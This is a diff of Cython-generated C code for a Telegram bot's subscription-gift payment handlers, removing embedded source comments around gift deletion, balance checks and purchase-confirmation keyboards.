__Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 128, __pyx_L1_error) @@ -6695,26 +6145,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_data = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/gift.py":129 - * - * data = callback_query.data.split("|") - * gift_id = data[1] # <<<<<<<<<<<<<< - * current_page = int(data[2]) if len(data) > 2 and data[2].isdigit() else 0 - * - */ __pyx_t_1 = __Pyx_GetItemInt(__pyx_cur_scope->__pyx_v_data, 1, long, 1, __Pyx_PyInt_From_long, 0, 0, 1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 129, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_gift_id = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/gift.py":130 - * data = callback_query.data.split("|") - * gift_id = data[1] - * current_page = int(data[2]) if len(data) > 2 and data[2].isdigit() else 0 # <<<<<<<<<<<<<< - * - * await session.execute( - */ __pyx_t_6 = PyObject_Length(__pyx_cur_scope->__pyx_v_data); if (unlikely(__pyx_t_6 == ((Py_ssize_t)-1))) __PYX_ERR(0, 130, __pyx_L1_error) __pyx_t_7 = (__pyx_t_6 > 2); if (__pyx_t_7) { @@ -6769,23 +6205,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO __pyx_cur_scope->__pyx_v_current_page = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/gift.py":132 - * current_page = int(data[2]) if len(data) > 2 and data[2].isdigit() else 0 - * - * await session.execute( # <<<<<<<<<<<<<< - * "DELETE FROM gifts WHERE gift_id = $1", gift_id - * ) - */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_session, __pyx_n_s_execute); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 132, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - /* "handlers/payments/gift.py":133 - * - * await session.execute( - * "DELETE FROM gifts WHERE gift_id = $1", gift_id # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_3 = NULL; __pyx_t_4 = 0; #if CYTHON_UNPACK_METHODS @@ -6828,13 +6250,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO } } - /* "handlers/payments/gift.py":136 - * ) - * - * await my_gifts_handler(callback_query, session, current_page=current_page) # <<<<<<<<<<<<<< - * - * - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_my_gifts_handler); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 136, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_8 = PyTuple_New(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 136, __pyx_L1_error) @@ -6874,13 +6289,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/gift.py":124 - * - * - * @router.callback_query(F.data.startswith("delete_gift|")) # <<<<<<<<<<<<<< - * async def delete_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -6904,13 +6312,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_8generator2(__pyx_CoroutineO } static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/gift.py":139 - * - * - * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< - * async def gift_subscription_handler(callback_query: types.CallbackQuery): - * """ ''. .""" - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_4gift_10gift_subscription_handler(PyObject *__pyx_self, @@ -7083,13 +6484,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 139, __pyx_L1_error) - /* "handlers/payments/gift.py":142 - * async def gift_subscription_handler(callback_query: types.CallbackQuery): - * """ ''. .""" - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * - * for months, price in RENEWAL_PRICES.items(): - */ __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 142, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; @@ -7118,13 +6512,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/gift.py":144 - * builder = InlineKeyboardBuilder() - * - * for months, price in RENEWAL_PRICES.items(): # <<<<<<<<<<<<<< - * builder.row( - * types.InlineKeyboardButton( - */ __pyx_t_5 = 0; __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 144, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); @@ -7153,36 +6540,15 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine __Pyx_GIVEREF(__pyx_t_2); __pyx_t_2 = 0; - /* "handlers/payments/gift.py":145 - * - * for months, price in RENEWAL_PRICES.items(): - * builder.row( # <<<<<<<<<<<<<< - * types.InlineKeyboardButton( - * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 145, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - /* "handlers/payments/gift.py":146 - * for months, price in RENEWAL_PRICES.items(): - * builder.row( - * types.InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", - * callback_data=f"gift|{months}", - */ __Pyx_GetModuleGlobalName(__pyx_t_9, __pyx_n_s_types); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_10 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_10)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_10); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/gift.py":147 - * builder.row( - * types.InlineKeyboardButton( - * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", # <<<<<<<<<<<<<< - * callback_data=f"gift|{months}", - * ) - */ __pyx_t_9 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_11 = PyTuple_New(7); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 147, __pyx_L1_error) @@ -7270,13 +6636,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_text, __pyx_t_16) < 0) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_DECREF(__pyx_t_16); __pyx_t_16 = 0; - /* "handlers/payments/gift.py":148 - * types.InlineKeyboardButton( - * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", - * callback_data=f"gift|{months}", # <<<<<<<<<<<<<< - * ) - * ) - */ __pyx_t_16 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_16)) __PYX_ERR(0, 148, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_16); __pyx_t_11 = __Pyx_PyUnicode_Concat(__pyx_kp_u_gift_2, __pyx_t_16); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 148, __pyx_L1_error) @@ -7285,13 +6644,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine if (PyDict_SetItem(__pyx_t_9, __pyx_n_s_callback_data, __pyx_t_11) < 0) __PYX_ERR(0, 147, __pyx_L1_error) __Pyx_DECREF(__pyx_t_11); __pyx_t_11 = 0; - /* "handlers/payments/gift.py":146 - * for months, price in RENEWAL_PRICES.items(): - * builder.row( - * types.InlineKeyboardButton( # <<<<<<<<<<<<<< - * text=f"\ud83c\udf81 {months} {'' if months == '1' else '' if int(months) in [2, 3, 4] else ''} {price} ", - * callback_data=f"gift|{months}", - */ __pyx_t_11 = __Pyx_PyObject_Call(__pyx_t_10, __pyx_empty_tuple, __pyx_t_9); if (unlikely(!__pyx_t_11)) __PYX_ERR(0, 146, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_11); __Pyx_DECREF(__pyx_t_10); __pyx_t_10 = 0; @@ -7323,13 +6675,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":152 - * ) - * - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="profile")) # <<<<<<<<<<<<<< - * - * await callback_query.message.answer( - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 152, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 152, __pyx_L1_error) @@ -7373,26 +6718,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":154 - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="profile")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" :", reply_markup=builder.as_markup() - * ) - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":155 - * - * await callback_query.message.answer( - * text=" :", reply_markup=builder.as_markup() # <<<<<<<<<<<<<< - * ) - * - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u_b_b_2) < 0) __PYX_ERR(0, 155, __pyx_L1_error) @@ -7423,13 +6754,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_9) < 0) __PYX_ERR(0, 155, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; - /* "handlers/payments/gift.py":154 - * builder.row(types.InlineKeyboardButton(text=BACK, callback_data="profile")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" :", reply_markup=builder.as_markup() - * ) - */ __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 154, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -7455,13 +6779,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); - /* "handlers/payments/gift.py":139 - * - * - * @router.callback_query(F.data == "gift") # <<<<<<<<<<<<<< - * async def gift_subscription_handler(callback_query: types.CallbackQuery): - * """ ''. .""" - */ /* function exit code */ PyErr_SetNone(PyExc_StopIteration); @@ -7490,13 +6807,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_11generator3(__pyx_Coroutine } static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ -/* "handlers/payments/gift.py":159 - * - * - * @router.callback_query(F.data.startswith("gift|")) # <<<<<<<<<<<<<< - * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - */ /* Python wrapper */ static PyObject *__pyx_pw_8handlers_8payments_4gift_13confirm_gift_handler(PyObject *__pyx_self, @@ -7683,13 +6993,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_L3_first_run:; if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 159, __pyx_L1_error) - /* "handlers/payments/gift.py":162 - * async def confirm_gift_handler(callback_query: types.CallbackQuery, session: Any): - * """ .""" - * selected_months = callback_query.data.split("|")[1] # <<<<<<<<<<<<<< - * price = RENEWAL_PRICES.get(selected_months, None) - * user_tg_id = callback_query.from_user.id - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_data); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 162, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_split); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 162, __pyx_L1_error) @@ -7724,13 +7027,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_cur_scope->__pyx_v_selected_months = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/gift.py":163 - * """ .""" - * selected_months = callback_query.data.split("|")[1] - * price = RENEWAL_PRICES.get(selected_months, None) # <<<<<<<<<<<<<< - * user_tg_id = callback_query.from_user.id - * - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_RENEWAL_PRICES); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 163, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_get); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 163, __pyx_L1_error) @@ -7762,13 +7058,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_cur_scope->__pyx_v_price = __pyx_t_3; __pyx_t_3 = 0; - /* "handlers/payments/gift.py":164 - * selected_months = callback_query.data.split("|")[1] - * price = RENEWAL_PRICES.get(selected_months, None) - * user_tg_id = callback_query.from_user.id # <<<<<<<<<<<<<< - * - * if not price: - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_from_user); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 164, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_id); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 164, __pyx_L1_error) @@ -7778,24 +7067,10 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_cur_scope->__pyx_v_user_tg_id = __pyx_t_2; __pyx_t_2 = 0; - /* "handlers/payments/gift.py":166 - * user_tg_id = callback_query.from_user.id - * - * if not price: # <<<<<<<<<<<<<< - * await callback_query.answer(" . .", show_alert=True) - * return - */ __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_price); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 166, __pyx_L1_error) __pyx_t_6 = (!__pyx_t_5); if (__pyx_t_6) { - /* "handlers/payments/gift.py":167 - * - * if not price: - * await callback_query.answer(" . .", show_alert=True) # <<<<<<<<<<<<<< - * return - * - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_answer); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 167, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = __Pyx_PyDict_NewPresized(1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 167, __pyx_L1_error) @@ -7825,33 +7100,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine } } - /* "handlers/payments/gift.py":168 - * if not price: - * await callback_query.answer(" . .", show_alert=True) - * return # <<<<<<<<<<<<<< - * - * balance = await get_balance(user_tg_id) - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/gift.py":166 - * user_tg_id = callback_query.from_user.id - * - * if not price: # <<<<<<<<<<<<<< - * await callback_query.answer(" . .", show_alert=True) - * return - */ } - /* "handlers/payments/gift.py":170 - * return - * - * balance = await get_balance(user_tg_id) # <<<<<<<<<<<<<< - * - * if balance < price: - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_get_balance); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 170, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; @@ -7898,25 +7152,11 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_cur_scope->__pyx_v_balance = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/gift.py":172 - * balance = await get_balance(user_tg_id) - * - * if balance < price: # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - */ __pyx_t_1 = PyObject_RichCompare(__pyx_cur_scope->__pyx_v_balance, __pyx_cur_scope->__pyx_v_price, Py_LT); __Pyx_XGOTREF(__pyx_t_1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 172, __pyx_L1_error) __pyx_t_6 = __Pyx_PyObject_IsTrue(__pyx_t_1); if (unlikely((__pyx_t_6 < 0))) __PYX_ERR(0, 172, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; if (__pyx_t_6) { - /* "handlers/payments/gift.py":173 - * - * if balance < price: - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 173, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; @@ -7945,13 +7185,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - /* "handlers/payments/gift.py":174 - * if balance < price: - * builder = InlineKeyboardBuilder() - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) # <<<<<<<<<<<<<< - * - * await callback_query.message.answer( - */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 174, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 174, __pyx_L1_error) @@ -7995,37 +7228,16 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":176 - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" . .", - * reply_markup=builder.as_markup(), - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_answer); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - /* "handlers/payments/gift.py":177 - * - * await callback_query.message.answer( - * text=" . .", # <<<<<<<<<<<<<< - * reply_markup=builder.as_markup(), - * ) - */ __pyx_t_1 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_kp_u__27) < 0) __PYX_ERR(0, 177, __pyx_L1_error) - /* "handlers/payments/gift.py":178 - * await callback_query.message.answer( - * text=" . .", - * reply_markup=builder.as_markup(), # <<<<<<<<<<<<<< - * ) - * return - */ __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 178, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_7 = NULL; @@ -8053,13 +7265,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_8) < 0) __PYX_ERR(0, 177, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/gift.py":176 - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=" . .", - * reply_markup=builder.as_markup(), - */ __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 176, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; @@ -8084,33 +7289,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine } } - /* "handlers/payments/gift.py":180 - * reply_markup=builder.as_markup(), - * ) - * return # <<<<<<<<<<<<<< - * - * builder = InlineKeyboardBuilder() - */ __Pyx_XDECREF(__pyx_r); __pyx_r = NULL; goto __pyx_L0; - /* "handlers/payments/gift.py":172 - * balance = await get_balance(user_tg_id) - * - * if balance < price: # <<<<<<<<<<<<<< - * builder = InlineKeyboardBuilder() - * builder.row(types.InlineKeyboardButton(text=PROFILE, callback_data="profile")) - */ } - /* "handlers/payments/gift.py":182 - * return - * - * builder = InlineKeyboardBuilder() # <<<<<<<<<<<<<< - * builder.row( - * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), - */ __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 182, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_3 = NULL; @@ -8139,23 +7323,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __pyx_cur_scope->__pyx_v_builder = __pyx_t_8; __pyx_t_8 = 0; - /* "handlers/payments/gift.py":183 - * - * builder = InlineKeyboardBuilder() - * builder.row( # <<<<<<<<<<<<<< - * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), - * types.InlineKeyboardButton(text=" ", callback_data="profile"), - */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 183, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - /* "handlers/payments/gift.py":184 - * builder = InlineKeyboardBuilder() - * builder.row( - * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), # <<<<<<<<<<<<<< - * types.InlineKeyboardButton(text=" ", callback_data="profile"), - * ) - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 184, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 184, __pyx_L1_error) @@ -8176,13 +7346,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - /* "handlers/payments/gift.py":185 - * builder.row( - * types.InlineKeyboardButton(text=" ", callback_data=f"confirm_gift|{selected_months}"), - * types.InlineKeyboardButton(text=" ", callback_data="profile"), # <<<<<<<<<<<<<< - * ) - * - */ __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_types); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 185, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 185, __pyx_L1_error) @@ -8222,36 +7385,15 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine } __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/gift.py":188 - * ) - * - * await callback_query.message.answer( # <<<<<<<<<<<<<< - * text=( - * f" :\n" - */ __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_answer); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 188, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - /* "handlers/payments/gift.py":189 - * - * await callback_query.message.answer( - * text=( # <<<<<<<<<<<<<< - * f" :\n" - * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" - */ __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 189, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - /* "handlers/payments/gift.py":190 - * await callback_query.message.answer( - * text=( - * f" :\n" # <<<<<<<<<<<<<< - * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" - * f": {price} \n\n" - */ __pyx_t_7 = PyTuple_New(7); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 190, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_10 = 0; @@ -8262,13 +7404,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __Pyx_GIVEREF(__pyx_kp_u_b_b_b); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_kp_u_b_b_b); - /* "handlers/payments/gift.py":191 - * text=( - * f" :\n" - * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" # <<<<<<<<<<<<<< - * f": {price} \n\n" - * " ." - */ __pyx_t_9 = __Pyx_PyObject_FormatSimple(__pyx_cur_scope->__pyx_v_selected_months, __pyx_empty_unicode); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 191, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_11 = (__Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) > __pyx_t_11) ? __Pyx_PyUnicode_MAX_CHAR_VALUE(__pyx_t_9) : __pyx_t_11; @@ -8328,13 +7463,6 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_14generator4(__pyx_Coroutine __Pyx_GIVEREF(__pyx_kp_u_b_b_3); PyTuple_SET_ITEM(__pyx_t_7, 4, __pyx_kp_u_b_b_3); - /* "handlers/payments/gift.py":192 - * f" :\n" - * f" {selected_months} {'' if selected_months == '1' else '' if int(selected_months) in [2, 3, 4] else ''}\n" - * f": {price} \n\n" # 